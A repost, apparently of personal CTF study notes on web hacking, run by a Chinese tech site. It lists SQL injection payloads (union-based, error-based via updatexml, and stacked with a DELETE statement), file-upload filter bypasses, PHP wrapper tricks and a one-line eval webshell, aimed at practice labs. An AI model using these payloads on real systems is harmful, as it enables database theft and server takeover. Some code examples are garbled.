IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> web干货 -> 正文阅读

[PHP知识库]web干货

web之linux基本操作

1、Linux中“./”在系统文件中表示绝对路径的意思。
linux系统中,所有的文件与目录都是由根目录/开始,不是以/开头的就是相对路径;
1、“.”表示当前目录,也可以用“./”表示;
2、“…”表示上一级目录,也可以用“…/”表示;
3、“~” 代表用户自己的宿主目录;
4、“/”处于Linux文件系统树形结构的最顶端,我们称它为Linux文件系统的root,它是Linux文件系统的入口。
所有的目录、文件、设备都在/之下,它是Linux文件系统最顶层的唯一的目录;
一般建议在根目录下面只有目录,不要直接存放文件;根目录是linux系统启动时系统第一个载入的分区,所以启动过程中用到的文件应该都放在这个分区中。
其中/etc、/bin、/dev、/lib、/sbin这5个子目录都应该要与根目录连在一起,不可独立成为某个分区。

web之sql注入

1、基本注入方式:
求列数:http://127.0.0.1/sqli/Less-2/?id=1 order by 3 #
求显示位:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,3 #
求库名:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,database(),3 #
求表名:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ #
求列名:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘security’ and table_name = ‘users’ #
求字段值:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(username,0x23,password),3 from security.users #
2、堆叠注入:sql注入的时候可能会出现禁用单词的情况,这时候可以使用“堆叠注入”在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。4、文件包含漏洞利用伪协议进行操作:php://filter/convert.base64-encode/resource=绝对路劲或相对路劲
3、sql注入空格绕过:
$IFS$1替换
${IFS替换
%20替换
<和<>重定向符替换
%09替换
4、sql注入rename table 表名 to 新表名 #更改表名
alter table 表名 change 旧字段名 新字段名 字段类型 #更改表中字段名
5、sql注入之盲注:可以使用sqlmap跑(需要学习)
6、sqlmap使用:
7、union select 小技巧:在联合查询并不存在的数据时,联合查询就会构造一个 虚拟的数据 我们通过union select查询就可以构造一行虚拟的数据,进行MD5密码验证的绕过
8、updatexml报错注入:
爆数据库名:?username=admin’or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=123
爆表名:?username=admin’or(updatexml(1,concat(0x7e,
(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(‘geek’)),0x7e),1))%23&pa
ssword=123
爆列名:?username=admin’or(updatexml(1,concat(0x7e,
(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(‘H4rDsq1’)),0x7e),1))%23&pa
ssword=123
爆字段名:?username=admin’or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))%23&password=123
left right 拼接flag:
可以使用left(),right()来进行拼接操作
?username=admin’or(updatexml(1,concat(0x7e,
(select(group_concat(left(password,30)))from(H4rDsq1)),0x7e),1))%23&password=123
?username=admin’or(updatexml(1,concat(0x7e,
(select(group_concat(right(password,30)))from(H4rDsq1)),0x7e),1))%23&password=123

web之上传绕过

1、基本绕过 抓包查看黑白名单,通过修改其黑白名单进行绕过
2、大小写绕过,通过修改后缀的大小写来进行绕过
3、后缀名修改就行绕过php,php3,php4,php5,phtml.pht
4、.htaccess文件绕过 : SetHandler application/x-httpd-php 将其他文件转化为php文件
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。新建.htaccess文件,编辑内容为SetHandler application/x-httpd-php
//该语句作用是让Apache将其他类型文件均以php格式解析 更改Apache里的.htaccess的配置。可以将其它类型的文件转化为PHP的文件类型。 ####buuctf 你传你🐎呢
5、可以绕过<?检查,可以绕过头文件检查:GIF89a

web之协议

1、rotobs.txt:网路爬虫协议

web之命令执行

####1 ‘|’
真|真=true -> 执行后面面的
假|真=false -> 都不执行
####2 ‘||’
真||真=true -> 执行前面的
真||假 or 假||真 谁真执行谁
####3 ‘&’
真&真 = true ->两个都执行
真&假or假&真 -> 真的执行
####4 ‘&&’
真&&真 ->都执行
假&&真 ->执行到有假的地方报错
以0e开头的字符串且MD5后还是0e:0e215962017 0e291242476940776845150308577824
cat 与 tac:
cat的功能是将文件从第一行开始连续的将内容输出在屏幕上。但是cat并不常用,原因是当文件大,行数比较多时,屏幕无法全部容下时,只能看到一部分内容。
tac的功能是将文件从最后一行开始倒过来将内容数据输出到屏幕上。我们可以发现,tac实际上是cat反过来写。
命令执行时如果过滤php 可以<?=eval(\$_POST[a]);?> 这样书写一句话

web总结

1、php中isset判断变量是否声明
2、sql注入rename table 表名 to 新表名 #更改表名
alter table 表名 change 旧字段名 新字段名 字段类型 #更改表中字段名
求列数:http://127.0.0.1/sqli/Less-2/?id=1 order by 3 #
求显示位:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,3 #
求库名:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,database(),3 #
求表名:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ #n.
求列名:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘security’ and table_name = ‘users’ #
求字段值:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(username,0x23,password),3 from security.users #
3、sql注入的时候可能会出现禁用单词的情况,这时候可以使用“堆叠注入”在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。4、文件包含漏洞利用伪协议进行操作:php://filter/convert.base64-encode/resource=绝对路劲或相对路劲
php://input #可以用来实现文件上传中的任意命令执行
php://filter/read=convert.base64-encode/resource
data伪协议。data协议通常是用来执行PHP代码:data://text/plain;base64,文件内容
5、空格过滤绕过:
${IFS}替换php的serialize()函数和unserialize()函数

适用情境:serialize()返回字符串,此字符串包含了表示value的字节流,可以存储于任何地方。这有利于存储或传递 PHP 的值,同时不丢失其类型和结构。比较有用的地方就是将数据存入数据库或记录在文件中的时候

serialize()可处理处资源类型外所有的类型,也可以序列化对象

<?php $array = array(); $array['keys'] = 'www'; $array['values']='11111'; $a = serialize($array); echo $a; unset($array); $a = unserialize($a); print_r($a); ?>

输出

a:2:{s:4:“keys”;s:3:“www”;s:6:“values”;s:5:“11111”;}

Array ( [keys] => www [values] => 11111 )

    $IFS
    ${IFS}
    $IFS$1替换
    %20替换
    <和<>重定向符替换
    %09替换

6、更改头文件信息之改变原地址:Referer:+新地址
更改头文件信息之改变访问浏览器:User-Agent:+新浏览器
更改头文件信息之改变IP地址:X-Forwarded-For:+新ip地址
7、php之var_dump:“var_dump”是PHP中的调试函数,用于判断一个变量的类型与长度,并输出变量的数值。
用var_dump打印所有的对象,可以查看对象内部的数据结构;var_dump里面的变量必须是存在的。
php之scandir()函数:<?php
$dir = “/images/”;
// 以升序排序 - 默认
a = s c a n d i r ( a = scandir( a=scandir(dir);
// 以降序排序
b = s c a n d i r ( b = scandir( b=scandir(dir,1);
print_r( a ) ; p r i n t r ( a); print_r( a);printr?(b);
?>
scandir()函数可以显示所有被选中目录下的文件和目录如果选中的是“/”
php之file_get_contents()函数:把整个整个文件读入一个字符串中。
php之后缀名绕过:php,php3,php4,php5,phtml.pht
php之一句话:GIF89a?

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-07-25 11:26:31  更:2021-07-25 11:27:15 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年3日历 -2024/3/28 22:30:46-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码